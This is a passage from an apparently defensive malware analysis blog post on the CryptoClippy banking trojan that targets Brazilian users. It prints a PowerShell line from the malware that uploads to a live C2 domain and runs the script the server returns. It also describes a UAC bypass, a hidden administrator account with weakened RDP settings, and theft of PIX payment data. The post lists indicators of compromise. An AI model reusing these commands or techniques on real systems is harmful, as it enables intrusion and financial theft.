&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(voc[38],voc[27],voc[61],voc[47],voc[41],voc[22],voc[61],voc[53],voc[53],)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Above, the BAT script extracted from NSIS installer.&lt;/p&gt;
&lt;p&gt;After the deobfuscation of the script, one of the executed commands will upload
a string to a malicious remote server. If the connection is successful, the
remote server will send a PowerShell script that will be immediately executed.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WebClient&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="py"&gt;UploadString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;http://ef0h.com/1/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;fXlD&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After executing the BAT file, if the connection is successful, the response is
another script that will be executed as set by the previously executed command.
This script collects information about the endpoint – computer name, the
operating system name, display name, architecture, and the name of the
antivirus software installed on the endpoint.&lt;/p&gt;
&lt;p&gt;Next, it makes a JSON structure in the following way:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The key ‘1’ has a unique identifier that changes between samples&lt;/li&gt;
&lt;li&gt;The key ‘2’ stores the value representing the architecture&lt;/li&gt;
&lt;li&gt;The key ‘10’ stores the base64 encoded string that holds the string with the
information collected in the previous step.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;}=&lt;/span&gt;&lt;span class="vm"&gt;@&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;3ptt9kcnrgslgt7gfjdojm2qu5&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;&amp;#39;2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;64&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;&amp;#39;10&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;=[&lt;/span&gt;&lt;span class="no"&gt;Convert&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;tObaSe64strING&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="no"&gt;Text.Encoding&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;DEfAulT&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;.(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;GetBytes&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="py"&gt;Invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;WINMACHINEmike;x64-based PC;Microsoft Windows 7 Ultimate;64-bit;Windows Defender&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The JSON is sent to the same domain used in the previous stage. At this stage
it is not clear which values are expected by the host. But if the checks are
passed, the server will send back a large JSON file processed by the current
script. The data seen above satisfies the checks on the server side, and we
obtained the payload for the 2nd stage of the attack.&lt;/p&gt;
&lt;p&gt;The response contains 5 parts: 3 scripts, a loader, and a configuration file –
as described by Unit 42. We noticed that in the first stage of the attack, a
directory was created in &lt;code&gt;AppData\Roaming&lt;/code&gt;, and the directory’s name changed based
on the response from the C2. We spotted the names Reposita or Flexizen, which
is also the name of 3 of the scripts used in the first stage of the attack.&lt;/p&gt;
&lt;p&gt;One of the PowerShell scripts (Reposita.ps) decodes the loader of the 2nd stage
(the file named sc) and injects it into the currently executed process
(PowerShell). Similarly to the previous report, the payload is encoded with
XOR, but the key is shorter. After decoding the payload, we got a DLL file. The
XOR key used in this execution is 0x1a, 0x13, 0x37, 0xe8, 0xea, 0xb0, 0xb2,
0x94, 0x8b, 0x0b, 0x2d, 0xaa, 0x52, 0xe9, 0xeb, 0x25.&lt;/p&gt;
&lt;p&gt;Once we removed the obfuscations from the PowerShell script, we identified
strong similarities to an
&lt;a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1"target="_blank" rel="noopener"&gt;open-source project&lt;/a&gt;
implementing an injection method. It is possible that the CryptoClippy malware
developers cloned the project, removed the symbols and added a layer of
obfuscation, and deployed this script.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/images/fig5.png" title="The script that injects the 2nd loader (after removing the obfuscation from the script)" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The script that injects the 2nd loader (after removing the obfuscation from the script)&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The 2nd stage
&lt;a href="https://analyze.intezer.com/files/894ad71e6fea9a5068512a7de5c2b176bc9556acf96284f131614d0e402059dc?utm_campaign=research-blog&amp;amp;utm_content=cryptoclippy-evolves-to-pilfer-more-financial-data&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;loader&lt;/a&gt;
is a 64-bit DLL with one exported function – main. The logic of the loader is
similar to the one
&lt;a href="https://analyze.intezer.com/files/89d7c8c7846068c4f618f80d18944f2fcf47cbebe7390d73c1f16ef0ed48d90b?utm_campaign=research-blog&amp;amp;utm_content=cryptoclippy-evolves-to-pilfer-more-financial-data&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;reported&lt;/a&gt;
by Unit 42, as it also appears to use
&lt;a href="https://github.com/jthuraisamy/SysWhispers2"target="_blank" rel="noopener"&gt;SysWhisper&lt;/a&gt;, an open-source
project that implements direct system calls execution for evading detection. In
addition, both loader versions use Ntdll to resolve API functions, and the API
names are hashed.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/images/fig6.png" title="Analysis of the CryptoClippy loader we inspected." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Analysis of the CryptoClippy loader we inspected.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The loader we found has two unique strings. One of them is
client-injector64.dll which seems to be the name of the DLL.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We noticed that both loader versions, before making the injection, call
&lt;a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlgetversion"target="_blank" rel="noopener"&gt;RtlGetVersion&lt;/a&gt;
to get information about the operation system of the victim endpoint. The
loader checks the
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-osversioninfoa"target="_blank" rel="noopener"&gt;OSVERSIONINFOEX.wProductType&lt;/a&gt;
of the victim machine. It will proceed only if the major version is 6 or 10 and
the correct minor version is defined in the
&lt;a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_osversioninfoexw"target="_blank" rel="noopener"&gt;documentation&lt;/a&gt;.
From this check, we understand that the malware targets Windows versions
starting from Vista and above.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/images/fig8.png" title="Source: https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-osversioninfoa" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Source: https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-osversioninfoa&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Updates to the CryptoClippy Malware&lt;span class="hx:absolute hx:-mt-20" id="updates-to-the-cryptoclippy-malware"&gt;&lt;/span&gt;
&lt;a href="#updates-to-the-cryptoclippy-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The payload of the loader from the previous stage is CryptoClippy malware and
the
&lt;a href="https://analyze.intezer.com/files/d2c85de7c763e8d8990d06f78f226fda36443253c63678c7c0e998499f3af61a?utm_campaign=research-blog&amp;amp;utm_content=cryptoclippy-evolves-to-pilfer-more-financial-data&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;sample&lt;/a&gt;
that we obtained
&lt;a href="https://intezer.com/blog/malware-analysis/defining-genetic-malware-analysis/?utm_campaign=research-blog&amp;amp;utm_content=cryptoclippy-evolves-to-pilfer-more-financial-data&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;shares most of its code with the samples&lt;/a&gt;
that were published in the previous report. While the main functionality of the
malware stayed the same, there are several changes that we noticed.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/images/fig9.png" title="Analysis of the CryptoClippy malware sample obtained from the C2." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Analysis of the CryptoClippy malware sample obtained from the C2.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Information Stealing&lt;span class="hx:absolute hx:-mt-20" id="information-stealing"&gt;&lt;/span&gt;
&lt;a href="#information-stealing" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In the sample we analyzed, there are 3 functions for processing the clipboard’s
content. One of them is responsible for switching the address of crypto wallets
– as described in the Unit 42 post. One of the other functions takes the
clipboard’s content and sends it to the C2. And the third function checks if
the clipboard contains the string &amp;ldquo;&lt;code&gt;0014br.gov.bcb.pix&lt;/code&gt;&amp;rdquo;, as seen in the
screenshot below. If it’s found, the content is sent to the remote server. PIX
is an online payment platform created by the Central Bank of Brazil. It allows
users to make transactions using a QRcode or an equivalent code that contains
the strings: &amp;ldquo;0014br.gov.bcb.pix&amp;rdquo;. The recipient of the payments creates a
QRcode that must contain the following information: &amp;ldquo;PIX Key,&amp;rdquo; &amp;ldquo;Beneficiary
Name,&amp;rdquo; and &amp;ldquo;Beneficiary City.&amp;rdquo;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;00020126580014br.gov.bcb.pix0136123e4567-e12b-12d1-a456-426655440000 5204000053039865802BR5913Fulano de Tal6008BRASILIA62070503***63041D3D&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Above, PIX copy-and-paste format as mentioned in the
&lt;a href="https://www.bcb.gov.br/content/estabilidadefinanceira/forumpireunioes/Anexo%20I%20-%20Padr%C3%B5es%20para%20Inicia%C3%A7%C3%A3o%20do%20PIX.pdf"target="_blank" rel="noopener"&gt;document&lt;/a&gt;
of the Central Bank.&lt;/p&gt;
&lt;p&gt;We found no indications of attempts to introduce a new payload into the
clipboard if it detects a PIX string. Instead, the captured content is promptly
sent to the C2 server. Building upon the existing functionality of
CryptoClippy, which involves swapping crypto wallets, we have reason to believe
that this method will persist in future iterations.&lt;/p&gt;
&lt;p&gt;Additionally, we anticipate that the forthcoming version will possess an added
capability — the ability to substitute the intercepted PIX string with one
under the control of the threat actors. This insidious modification would
effectively redirect all payments to their designated account.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/images/fig10.png" title="CMSTPLUA CLSID used by the malware in UAC bypass." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;CMSTPLUA CLSID used by the malware in UAC bypass.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Besides the capabilities above, the malware obtains the user name, computer
name, Windows version, and firmware information (using
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getsystemfirmwaretable"target="_blank" rel="noopener"&gt;GetSystemFirmwareTable&lt;/a&gt;).
It queries the value ‘RSMB’ repressing the SMBIOS firmware table provider. Then
it opens the registry key &lt;code&gt;SOFTWARE\GbPlugin\Uni&lt;/code&gt; and gets the value of
&lt;code&gt;gFaYEcJ9U3dI&lt;/code&gt; and &lt;code&gt;gFaYEcJ9U3RB&lt;/code&gt;. The key is created by a plugin called
&lt;code&gt;gbplugin&lt;/code&gt; whose purpose is to secure the connection to internet banking
services. It is not clear what sort of information is stored in these registry
entries, but all of the information that was collected in this stage is sent to
the C2.&lt;/p&gt;
&lt;h3&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence"&gt;&lt;/span&gt;
&lt;a href="#persistence" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;As reported, the malware sets persistence on the victim machine by creating an
LNK at
&lt;code&gt;AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Reposita.lnk&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We identified a unique way in which the malware creates the LNK file. It calls
the
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance"target="_blank" rel="noopener"&gt;CoCreateInstance&lt;/a&gt;
function, creating an object of the class specified by the
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/com/clsid-key-hklm"target="_blank" rel="noopener"&gt;CLSID&lt;/a&gt;
value. CLSID is a unique identifier of a COM class object. In our case, the
CLSID is &lt;code&gt;{000214EE-0000-0000-C000-00000000046}&lt;/code&gt;. Looking up this value, we get
only two results (the top result is Portuguese):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This handler points to the IShellLinkA interface, which provides methods for
working with Shell links – LNK files. The target of the LNK file is the bat
file from the second stage (&lt;code&gt;Repoista.bat&lt;/code&gt;). This script is responsible for
executing the PowerShell script that injects the loader.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware contains 3 scripts that are executed in different stages of the
malware execution. The name of the scripts changes between samples since it
depends on the configuration. All of the scripts are encoded using RC4. As
described by Unit42, one of the files creates a scheduled task for persistence,
and a BAT file executes the script – the 2nd script dropped by the malware. We
noticed a unique way the malware executes the bat file with elevated
permissions.&lt;/p&gt;
&lt;p&gt;First, it queries the TokenInfomration of the process using
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-gettokeninformation"target="_blank" rel="noopener"&gt;GetTokenInformation&lt;/a&gt;
and checks if the process has already elevated permissions using TokenElevation
class. If so, it will execute the bat file. Otherwise, it will check the
security policy by checking the registry value at
&lt;code&gt;SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&lt;/code&gt;. If the value is
one of the following: EnableLUA, ConsentPromptBehaviorAdmin, or
ConsentPromptBehaviorUser – the trojan will not execute the script at all. If
none of these values are set, it checks the value of
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-token_elevation_type"target="_blank" rel="noopener"&gt;TOKEN_ELEVATION_TYPE&lt;/a&gt;
to examine the token type. If the value is TokenElevationTypeLimited (numerical
value 3), it will use the CMSTPLUA COM &lt;code&gt;{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&lt;/code&gt;
interface to bypass UAC and execute the script with elevated permissions. This
technique was previously used by other threats, such as
&lt;a href="https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/#:~:text=%20the%20ransomware%20can%20perform%20privilege%20escalation%20using%20the%20cmstplua%20com%20interface%20and%20achieves%20persistence%20by%20installing%20itself%20as%20a%20service.%20"target="_blank" rel="noopener"&gt;DarkSide ransomware&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/images/fig13.png" title="CMSTPLUA CLSID used by the malware in UAC bypass." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;CMSTPLUA CLSID used by the malware in UAC bypass.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;If the token elevation type is TokenElevationTypeDefault, the malware will use
&amp;ldquo;runas&amp;rdquo; to execute the script as an administrator.&lt;/p&gt;
&lt;p&gt;The third script we decoded is responsible for enabling and setting up a
configuration for the Remote Desktop Service. The script configures the port
for the connection, it sets the SecuirtyLayer to be on the lowest level, which
specifies that the Microsoft Remote Desktop Protocol (RDP) will be used by the
server and the client for authentication before a remote desktop connection is
established, it sets the userAuthentication to 0 -which specifies that
Network-Level user authentication is not required before the remote desktop
connection is established. Lastly, using a user name passed as an argument to
the script, the script creates a new user account and appends it to:
&lt;code&gt;HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList&lt;/code&gt;
to hide it from winlogon.&lt;/p&gt;
&lt;p&gt;The script also sends information about the endpoint to the C2. The data
contains the OS version, computer name, architecture, and indicators on
whatever rdpclip.exe and rfxvmt.dll are present on the endpoint. Rdclip allows
to use of the clipboard during remote desktop sessions, and rfxvmt implements
&lt;a href="https://learn.microsoft.com/en-us/virtualization/community/team-blog/2010/20100317-explaining-microsoft-remotefx"target="_blank" rel="noopener"&gt;RemoteFX&lt;/a&gt;,
a collection of graphical functionalities designed to enhance remote
connections. However, it was
&lt;a href="https://support.microsoft.com/en-us/topic/kb4570006-update-to-disable-and-remove-the-remotefx-vgpu-component-in-windows-bbdf1531-7188-2bf4-0de6-641de79f09d2"target="_blank" rel="noopener"&gt;deprecated&lt;/a&gt;
due to many security vulnerabilities.&lt;/p&gt;
&lt;p&gt;In the sample we inspected, the function that generates folder and mutex names
uses the same proprietary algorithm, but the format is changed to &amp;ldquo;%ls%08x,&amp;rdquo;
and the constant passed to the function is 0x973C8F.&lt;/p&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The domain name of the C2, as we see in the sample we analyzed, is
&lt;code&gt;flowmudy[.]com&lt;/code&gt;. The URL that is being sent is in the format of:
&lt;code&gt;https://flowmudy.com/?act=481c&lt;/code&gt;. The value of &amp;ldquo;act&amp;rdquo; changes depending on the
function that initiates the communication. The user agent is stored in the
hardcoded configuration into the executable and encoded with RC4. CryptoClippy
uses two different configurations- one is the pf file received from the remote
server in the first stage of the attack, and the second is hardcoded in the
.data section of the malware. The first configuration file contains encoded
script names and content, crypto wallet addresses, and the domain name of the
C2 servers. The latter contains the URL format described above and the
following user agent.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;%s %s HTTP/1.1
Host: %.*s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Length: %d&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The decoded user agent, above.&lt;/p&gt;
&lt;h3&gt;Conclusions of CryptoClippy Analysis&lt;span class="hx:absolute hx:-mt-20" id="conclusions-of-cryptoclippy-analysis"&gt;&lt;/span&gt;
&lt;a href="#conclusions-of-cryptoclippy-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In conclusion, our analysis of CryptoClippy has revealed its rapid evolution,
expanding from basic crypto wallet theft to reconnaissance gathering and
extracting critical payment application and transaction information from
unsuspecting victims in Brazil. Evidence suggests upcoming enhancements that
will further expand its capabilities. Organizations and individuals must stay
abreast of emerging trends and fortify their security defenses to combat this
rapidly evolving menace effectively.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h2&gt;DLL loader&lt;span class="hx:absolute hx:-mt-20" id="dll-loader"&gt;&lt;/span&gt;
&lt;a href="#dll-loader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;894ad71e6fea9a5068512a7de5c2b176bc9556acf96284f131614d0e402059dc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;02af8c455fc32e0e79d5b7be2d6349ddc95d747528e328715325947217933dac&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;.NET loader&lt;span class="hx:absolute hx:-mt-20" id="net-loader"&gt;&lt;/span&gt;
&lt;a href="#net-loader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;19f0f8831ef9d561f6dc395eff55d165d614fa06d13a9a3d39b120ef18242f12&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;NSIS Installers&lt;span class="hx:absolute hx:-mt-20" id="nsis-installers"&gt;&lt;/span&gt;
&lt;a href="#nsis-installers" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bb242ec30689f12d10986832a8548f23b06a7c1b5988797a48c6237fd51cde49&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0b88fed305f93003c520c9c8d06d93ff8f3530548423efcbc3cdff582c23d66f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0cab35abbec588c09219ae34c4cee65eed1e980345f6d0ade152d330a4ae2c9b&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1633762047d7fc1c583e5fa358cb24b6408ceec1cf1f4f2a31f1c8aa1371c1c7&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;30976656db4334e494615b0e893b001045f4714259b8089bbcfca59203a0ce3d&lt;/code&gt;&lt;/li&gt;
